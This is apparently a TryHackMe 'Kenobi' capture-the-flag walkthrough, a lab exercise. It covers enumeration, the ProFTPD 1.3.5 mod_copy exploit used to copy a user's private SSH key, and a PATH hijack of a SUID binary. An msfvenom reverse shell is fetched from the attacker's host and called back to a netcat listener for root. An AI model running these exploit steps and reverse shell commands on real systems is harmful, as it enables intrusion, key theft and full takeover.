TryHackMe – Kenobi Walkthrough

Kenobi is a Starwars themed easy room for pentesting practice. This room is hosted in the TryHackMe platform.

Room can be reached with the following link:

https://tryhackme.com/r/room/kenobi

Overview

This overview shows the direct path to the solution of the room Kenobi without giving the commands or tools used in the solution. There is a vulnerable FTP server running on the machine. By exploiting the FTP server and information gathered from the NFS and SMB, we get a critical private RSA key file to get initial foothold. For the privilege escalation, there is a custom SUID binary that calls certain binaries with relative path. By exploiting the misconfiguration in the $PATH variable combined with the SUID binary, we get the root user.

Detailed Walkthrough

My IP: 10.9.0.108

Machine IP: 10.10.51.164

Room Link: https://tryhackme.com/r/room/kenobi

Initial Foothold

Start with default nmap scan

┌──(root㉿kali)-[~/tryhackme/kenobi]
└─# nmap -sC -sV -T4 -p- -oA nmap/allports 10.10.51.164
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-15 00:50 EDT
Stats: 0:00:33 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 81.37% done; ETC: 00:51 (0:00:08 remaining)
Nmap scan report for 10.10.51.164
Host is up (0.070s latency).
Not shown: 65524 closed tcp ports (reset)
PORT      STATE SERVICE     VERSION
21/tcp    open  ftp         ProFTPD 1.3.5
22/tcp    open  ssh         OpenSSH 7.2p2 Ubuntu 4ubuntu2.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 b3:ad:83:41:49:e9:5d:16:8d:3b:0f:05:7b:e2:c0:ae (RSA)
|   256 f8:27:7d:64:29:97:e6:f8:65:54:65:22:f7:c8:1d:8a (ECDSA)
|_  256 5a:06:ed:eb:b6:56:7e:4c:01:dd:ea:bc:ba:fa:33:79 (ED25519)
80/tcp    open  http        Apache httpd 2.4.18 ((Ubuntu))
| http-robots.txt: 1 disallowed entry
|_/admin.html
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.4.18 (Ubuntu)
111/tcp   open  rpcbind     2-4 (RPC #100000)
| rpcinfo:
|   program version    port/proto  service
|   100227  2,3         2049/tcp   nfs_acl
|   100227  2,3         2049/tcp6  nfs_acl
|   100227  2,3         2049/udp   nfs_acl
|_  100227  2,3         2049/udp6  nfs_acl
139/tcp   open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP)
2049/tcp  open  nfs_acl     2-3 (RPC #100227)
37575/tcp open  mountd      1-3 (RPC #100005)
40603/tcp open  nlockmgr    1-4 (RPC #100021)
57733/tcp open  mountd      1-3 (RPC #100005)
59085/tcp open  mountd      1-3 (RPC #100005)
Service Info: Host: KENOBI; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
| smb2-time:
|   date: 2024-09-15T04:51:39
|_  start_date: N/A
|_nbstat: NetBIOS name: KENOBI, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| smb2-security-mode:
|   3:1:1:
|_    Message signing enabled but not required
|_clock-skew: mean: 1h40m22s, deviation: 2h53m12s, median: 22s
| smb-os-discovery:
|   OS: Windows 6.1 (Samba 4.3.11-Ubuntu)
|   Computer name: kenobi
|   NetBIOS computer name: KENOBI\x00
|   Domain name: \x00
|   FQDN: kenobi
|_  System time: 2024-09-14T23:51:39-05:00
| smb-security-mode:
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 55.38 seconds

There are couple of ports open. Importance and enumeration order in my opinion is as follows,

  • 80 -> Webserver, we are definitely enumerate this.
  • 21 -> FTP, if anonymous login is allowed, this lead to a valuable information.
  • 139, 445 -> SMB server, if we can anonymously login, there might be valuable information.
  • 2049 -> NFS, we try to mount this share, there might be valuable information.
  • 111 -> RPC, we try nmap scripts to enumerate this.
  • 22 -> SSH, if we are desperate and find a username somehow, we might try to brute force it.

Web server

We visit the website http://10.10.51.164/

An iconic scene from Star Wars, Obi-Wan Kenobi vs Anakin Skywalker duel. Source code of the page has nothing. We start directory busting with ffuf.

┌──(root㉿kali)-[~/tryhackme/kenobi]
└─# ffuf -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://10.10.51.164/FUZZ -e .html,.php,.txt
admin.html              [Status: 200, Size: 200, Words: 18, Lines: 19, Duration: 72ms]
robots.txt              [Status: 200, Size: 36, Words: 3, Lines: 3, Duration: 68ms]

The admin page looks like this. Again source code has nothing.

Similarly, robots.txt lead us to nowhere.

SMB Enumeration

I used smbclient for the SMB enumeration.

┌──(root㉿kali)-[~/tryhackme/kenobi]
└─# smbclient -L //10.10.51.164
Password for [WORKGROUP\root]:

        Sharename       Type      Comment
        ---------       ----      -------
        print$          Disk      Printer Drivers
        anonymous       Disk
        IPC$            IPC       IPC Service (kenobi server (Samba, Ubuntu))
Reconnecting with SMB1 for workgroup listing.

        Server               Comment
        ---------            -------

        Workgroup            Master
        ---------            -------
        WORKGROUP            KENOBI

We try to connect to the share anonymous.

┌──(root㉿kali)-[~/tryhackme/kenobi]
└─# smbclient //10.10.51.164/anonymous
Password for [WORKGROUP\root]:
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Wed Sep  4 06:49:09 2019
  ..                                  D        0  Wed Sep  4 06:56:07 2019
  log.txt                             N    12237  Wed Sep  4 06:49:09 2019

                9204224 blocks of size 1024. 6765420 blocks available
smb: \> get log.txt
getting file \log.txt of size 12237 as log.txt (30.8 KiloBytes/sec) (average 30.8 KiloBytes/sec)
smb: \> exit

┌──(root㉿kali)-[~/tryhackme/kenobi]
└─# cat log.txt
Generating public/private rsa key pair.
Enter file in which to save the key (/home/kenobi/.ssh/id_rsa):
Created directory '/home/kenobi/.ssh'.
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /home/kenobi/.ssh/id_rsa.
Your public key has been saved in /home/kenobi/.ssh/id_rsa.pub.
The key fingerprint is:
SHA256:C17GWSl/v7KlUZrOwWxSyk+F7gYhVzsbfqkCIkr2d7Q kenobi@kenobi
The key's randomart image is:
+---[RSA 2048]----+
|                 |
|           ..    |
|        . o. .   |
|       ..=o +.   |
|      . So.o++o. |
|  o ...+oo.Bo*o  |
| o o ..o.o+.@oo  |
|  . . . E .O+= . |
|     . .   oBo.  |
+----[SHA256]-----+

# This is a basic ProFTPD configuration file (rename it to
# 'proftpd.conf' for actual use.  It establishes a single server
# and a single anonymous login.  It assumes that you have a user/group
# "nobody" and "ftp" for normal operation and anon.

ServerName                      "ProFTPD Default Installation"
ServerType                      standalone
DefaultServer                   on

# Port 21 is the standard FTP port.
Port                            21

# Don't use IPv6 support by default.
UseIPv6                         off

[OMITTED]

We get a file called log.txt in the SMB share called anonymous. This is a bash log file that shows us the generation of a RSA private key which is located at the /home/kenobi/.ssh/id_rsa and the configuration file of ProFTPD ftp server.

NFS Mount

We list the mounts on the server.

┌──(root㉿kali)-[~/tryhackme/kenobi]
└─# showmount -e 10.10.51.164
Export list for 10.10.51.164:
/var *

The directory /var is available for mounting. Lets mount it to enumerate further.

┌──(root㉿kali)-[~/tryhackme/kenobi]
└─# mkdir mount

┌──(root㉿kali)-[~/tryhackme/kenobi]
└─# mount -t nfs 10.10.51.164:/var ./mount -nolock

┌──(root㉿kali)-[~/tryhackme/kenobi]
└─# cd mount

┌──(root㉿kali)-[~/tryhackme/kenobi/mount]
└─# ls
backups  cache  crash  lib  local  lock  log  mail  opt  run  snap  spool  tmp  www

┌──(root㉿kali)-[~/tryhackme/kenobi/mount]
└─# cd tmp

┌──(root㉿kali)-[~/tryhackme/kenobi/mount/tmp]
└─# touch here
touch: cannot touch 'here': Read-only file system

It is Read-only and there is usually no sensitive information in the /var directory. However, the correct approach be to search and enumerate through all the directories inside the share for a critical information. However, due to the nature of this CTF, I skip this part and assume there are no sensitive information in this share.

FTP Server

A quick google search will shows us the ProFTPD version 1.3.5 is exploitable listed as CVE-2015-3306. More information about the exploit can be found in https://nvd.nist.gov/vuln/detail/CVE-2015-3306. Quick search if there is a simple and easy to use exploit on the attack Kali machine.

┌──(root㉿kali)-[~/tryhackme/kenobi]
└─# searchsploit proftpd 1.3.5
------------------------------------------------------------------ --------------------------
 Exploit Title                                                    |  Path
------------------------------------------------------------------ --------------------------
ProFTPd 1.3.5 - 'mod_copy' Command Execution (Metasploit)         | linux/remote/37262.rb
ProFTPd 1.3.5 - 'mod_copy' Remote Command Execution               | linux/remote/36803.py
ProFTPd 1.3.5 - 'mod_copy' Remote Command Execution (2)           | linux/remote/49908.py
ProFTPd 1.3.5 - File Copy                                         | linux/remote/36742.txt
------------------------------------------------------------------ --------------------------

I went for a non-metasploit way and tries python RCE codes but did not able to get them work. So with the help of the hints in the room and the linux/remote/36742.txt file, I was able to exploit it. The exploit is explained in 36742.txt file.

┌──(root㉿kali)-[~/tryhackme/kenobi]
└─# cat /usr/share/exploitdb/exploits/linux/remote/36742.txt
Description TJ Saunders 2015-04-07 16:35:03 UTC
Vadim Melihow reported a critical issue with proftpd installations that use the
mod_copy module's SITE CPFR/SITE CPTO commands; mod_copy allows these commands
to be used by *unauthenticated clients*:

---------------------------------
Trying 80.150.216.115...
Connected to 80.150.216.115.
Escape character is '^]'.
220 ProFTPD 1.3.5rc3 Server (Debian) [::ffff:80.150.216.115]
site help
214-The following SITE commands are recognized (* =>'s unimplemented)
214-CPFR <sp> pathname
214-CPTO <sp> pathname
214-UTIME <sp> YYYYMMDDhhmm[ss] <sp> path
214-SYMLINK <sp> source <sp> destination
214-RMDIR <sp> path
214-MKDIR <sp> path
214-The following SITE extensions are recognized:
214-RATIO -- show all ratios in effect
214-QUOTA
214-HELP
214-CHGRP
214-CHMOD
214 Direct comments to root@www01a
site cpfr /etc/passwd
350 File or directory exists, ready for destination name
site cpto /tmp/passwd.copy
250 Copy successful
-----------------------------------------

He provides another, scarier example:

------------------------------
site cpfr /etc/passwd
350 File or directory exists, ready for destination name
site cpto <?php phpinfo(); ?>
550 cpto: Permission denied
site cpfr /proc/self/fd/3
350 File or directory exists, ready for destination name
site cpto /var/www/test.php

test.php now contains
----------------------
2015-04-04 02:01:13,159 slon-P5Q proftpd[16255] slon-P5Q
(slon-P5Q.lan[192.168.3.193]): error rewinding scoreboard: Invalid argument
2015-04-04 02:01:13,159 slon-P5Q proftpd[16255] slon-P5Q
(slon-P5Q.lan[192.168.3.193]): FTP session opened.
2015-04-04 02:01:27,943 slon-P5Q proftpd[16255] slon-P5Q
(slon-P5Q.lan[192.168.3.193]): error opening destination file '/<?php
phpinfo(); ?>' for copying: Permission denied
-----------------------

test.php contains contain correct php script "<?php phpinfo(); ?>" which
can be run by the php interpreter

Source: http://bugs.proftpd.org/show_bug.cgi?id=4169

So, mod_copy module in ProFTPD 1.3.5 allows unauthenticated remote attacker to read and write arbitrary files in the file system via site cpfr and site cpto. I connect the FTP server with nc. Since we have an exposed RSA key on the machine, and have a read only file share, we can copy the key file to the read only share and read it from there.

┌──(root㉿kali)-[~/tryhackme/kenobi]
└─# nc 10.10.51.164 21
220 ProFTPD 1.3.5 Server (ProFTPD Default Installation) [10.10.51.164]
SITE CPFR /home/kenobi/.ssh/id_rsa
350 File or directory exists, ready for destination name
SITE CPTO /var/tmp/id_rsa
250 Copy successful

After this step, we can simply connect to the machine via SSH by using the private key of user kenobi.

┌──(root㉿kali)-[~/tryhackme/kenobi]
└─# cd mount

┌──(root㉿kali)-[~/tryhackme/kenobi/mount]
└─# cd tmp

┌──(root㉿kali)-[~/tryhackme/kenobi/mount/tmp]
└─# ls
id_rsa
systemd-private-2408059707bc41329243d2fc9e613f1e-systemd-timesyncd.service-a5PktM
systemd-private-5b12c88ef8ea42dfa7d6ff785af8057e-systemd-timesyncd.service-JqVc0B
systemd-private-6f4acd341c0b40569c92cee906c3edc9-systemd-timesyncd.service-z5o4Aw
systemd-private-e69bbb0653ce4ee3bd9ae0d93d2a5806-systemd-timesyncd.service-zObUdn

┌──(root㉿kali)-[~/tryhackme/kenobi/mount/tmp]
└─# ssh -i id_rsa kenobi@10.10.51.164
The authenticity of host '10.10.51.164 (10.10.51.164)' can't be established.
ED25519 key fingerprint is SHA256:GXu1mgqL0Wk2ZHPmEUVIS0hvusx4hk33iTcwNKPktFw.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.51.164' (ED25519) to the list of known hosts.
Welcome to Ubuntu 16.04.6 LTS (GNU/Linux 4.8.0-58-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

103 packages can be updated.
65 updates are security updates.


Last login: Wed Sep  4 07:10:15 2019 from 192.168.1.147
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.

kenobi@kenobi:~$ ls
share  user.txt
kenobi@kenobi:~$ cat user.txt
****************2a83915e19224899

We landed to the machine as user kenobi and get the user flag.

Privilege Escalation

After we landed as a user kenobi, we enumerate for possible privilege escalation paths. I use linpeas for an automated search. linpeas is huge, so I only include the relevant parts of the output (at least the intended way to solve the box). You can get the latest version of linpeas from this link: https://github.com/peass-ng/PEASS-ng/releases

kenobi@kenobi:~$ wget http://10.9.0.108/linpeas.sh
--2024-09-15 01:34:01--  http://10.9.0.108/linpeas.sh
Connecting to 10.9.0.108:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 853290 (833K) [text/x-sh]
Saving to: ‘linpeas.sh’

linpeas.sh               100%[============================================>] 833.29K  1.80MB/s    in 0.5s

2024-09-15 01:34:01 (1.80 MB/s) - ‘linpeas.sh’ saved [853290/853290]

kenobi@kenobi:~$ ls
bin  linpeas.sh  share  user.txt
kenobi@kenobi:~$ sh linpeas.sh

[OMITTED]

╔══════════╣ PATH
 https://book.hacktricks.xyz/linux-hardening/privilege-escalation#writable-path-abuses                                                                     
/home/kenobi/bin:/home/kenobi/.local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin 

[OMITTED]

╔══════════╣ Environment
 Any private information inside environment variables?
PATH=/home/kenobi/bin:/home/kenobi/.local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin

[OMITTED]

╔══════════╣ Analyzing SSH Files (limit 70)
══╣ Possible private SSH keys were found!
/home/kenobi/.ssh/id_rsa
/home/kenobi/.config/lxc/client.key

[OMITTED]

══════════════════════╣ Files with Interesting Permissions ╠══════════════════════
                      ╚════════════════════════════════════╝
╔══════════╣ SUID - Check easy privesc, exploits and write perms
 https://book.hacktricks.xyz/linux-hardening/privilege-escalation#sudo-and-suid
strace Not Found
[OMITTED]
-rwsr-xr-x 1 root root 8.7K Sep  4  2019 /usr/bin/menu (Unknown SUID binary!)

[OMITTED]

It found the $PATH variable, and an unknown SUID binary. I also just to highlight that it found the private ssh keys too. So the /usr/bin/menu binary looks interesting. Lets try to learn more about this binary.

kenobi@kenobi:~$ /usr/bin/menu

***************************************
1. status check
2. kernel version
3. ifconfig
** Enter your choice :1
HTTP/1.1 200 OK
Date: Sun, 15 Sep 2024 06:22:34 GMT
Server: Apache/2.4.18 (Ubuntu)
Last-Modified: Wed, 04 Sep 2019 09:07:20 GMT
ETag: "c8-591b6884b6ed2"
Accept-Ranges: bytes
Content-Length: 200
Vary: Accept-Encoding
Content-Type: text/html

kenobi@kenobi:~$ /usr/bin/menu

***************************************
1. status check
2. kernel version
3. ifconfig
** Enter your choice :2
4.8.0-58-generic
kenobi@kenobi:~$ /usr/bin/menu

***************************************
1. status check
2. kernel version
3. ifconfig
** Enter your choice :3
eth0      Link encap:Ethernet  HWaddr 02:d1:3e:2f:0d:db  
          inet addr:10.10.51.164  Bcast:10.10.255.255  Mask:255.255.0.0
          inet6 addr: fe80::d1:3eff:fe2f:ddb/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:9001  Metric:1
          RX packets:1246686 errors:0 dropped:0 overruns:0 frame:0
          TX packets:1245489 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000 
          RX bytes:191856021 (191.8 MB)  TX bytes:564238593 (564.2 MB)

lo        Link encap:Local Loopback  
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:65536  Metric:1
          RX packets:224 errors:0 dropped:0 overruns:0 frame:0
          TX packets:224 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1 
          RX bytes:16602 (16.6 KB)  TX bytes:16602 (16.6 KB)

Apparently, it does 3 things. Whether the webserver is up or not by simply sending a get request, shows the kernel version and shows the network interfaces. It feels like this binary uses other system binaries to do these work. To analyze deeply, we go for strings.

kenobi@kenobi:~$ strings /usr/bin/menu
/lib64/ld-linux-x86-64.so.2
libc.so.6
setuid
__isoc99_scanf
puts
__stack_chk_fail
printf
system
__libc_start_main
__gmon_start__
GLIBC_2.7
GLIBC_2.4
GLIBC_2.2.5
UH-`
AWAVA
AUATL
[]A\A]A^A_
***************************************
1. status check
2. kernel version
3. ifconfig
** Enter your choice :
curl -I localhost                <<<<===== RELATIVE PATH USED
uname -r                         <<<<===== RELATIVE PATH USED
ifconfig                         <<<<===== RELATIVE PATH USED
 Invalid choice
;*3$"
GCC: (Ubuntu 5.4.0-6ubuntu1~16.04.11) 5.4.0 20160609
crtstuff.c
__JCR_LIST__
deregister_tm_clones

[OMITTED]

So, it uses curl, uname and ifconfig commands to all that stuff, and is used relative path for all of them. Check the $PATH again.

kenobi@kenobi:~$ echo $PATH
/home/kenobi/bin:/home/kenobi/.local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin

So this is the situation. We have a binary that has SUID permission, which means we can run it as root, that binary calls some other binaries with relative path, and the $PATH variable starts with our own home directory.

So, here is the procedure we should follow, we cannot change the menu SUID binary but since it is calling other binaries with relative path, we can inject our malicious binary into the somewhere in the path (before the intended one) and make menu binary call them.

Lets craft out binary with msfvenom.

┌──(root㉿kali)-[~/tryhackme/kenobi/www]
└─# msfvenom -p linux/x64/shell_reverse_tcp -f elf LHOST=10.9.0.108 LPORT=4444 -o ./rev_shell
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 74 bytes
Final size of elf file: 194 bytes
Saved as: ./rev_shell

We download it to the victim machine.

kenobi@kenobi:~$ wget http://10.9.0.108/rev_shell
--2024-09-15 01:25:31--  http://10.9.0.108/rev_shell
Connecting to 10.9.0.108:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 194 [application/octet-stream]
Saving to: ‘rev_shell’

rev_shell   100%[==========================================>]     194  --.-KB/s    in 0s      

2024-09-15 01:25:31 (39.9 MB/s) - ‘rev_shell’ saved [194/194]

kenobi@kenobi:~$ cp rev_shell ./ifconfig
kenobi@kenobi:~$ mkdir bin
kenobi@kenobi:~$ mv ifconfig ./bin/

At this point it should be noted that, you can change the name of the reverse into curl, uname or ifconfig. It does not matter at all. All three of those binaries can be used for privilege escalation. Start a listener from our attack machine.

┌──(root㉿kali)-[~/tryhackme/kenobi]
└─# nc -nvlp 4444
listening on [any] 4444 ...

Run the menu command and select the option 3 or whichever binary you poisioned.

kenobi@kenobi:~/bin$ menu

***************************************
1. status check
2. kernel version
3. ifconfig
** Enter your choice :3

And we get our reverse shell as a root user.

┌──(root㉿kali)-[~/tryhackme/kenobi]
└─# nc -nvlp 4444
listening on [any] 4444 ...
connect to [10.9.0.108] from (UNKNOWN) [10.10.51.164] 55282
ls
ifconfig
whoami
root

The root flag is in the /root directory.

root@kenobi:/root# cat root.txt 
cat root.txt
****************7382721c28381f02

Conclusions & Comments

I really like how they themed the machine with Star wars. Other than that, this was a very good exercise in terms of both initial foothold and privilege escalation paths. I especially like the initial foothold, because it is not a PoC code. You should read and understand how this exploit works and do it yourself. For the privilege escalation part, I always like to work with SUID binaries and $PATH variable. Other than that, It was a very fun and good Linux practice machine.

Other Notable Resources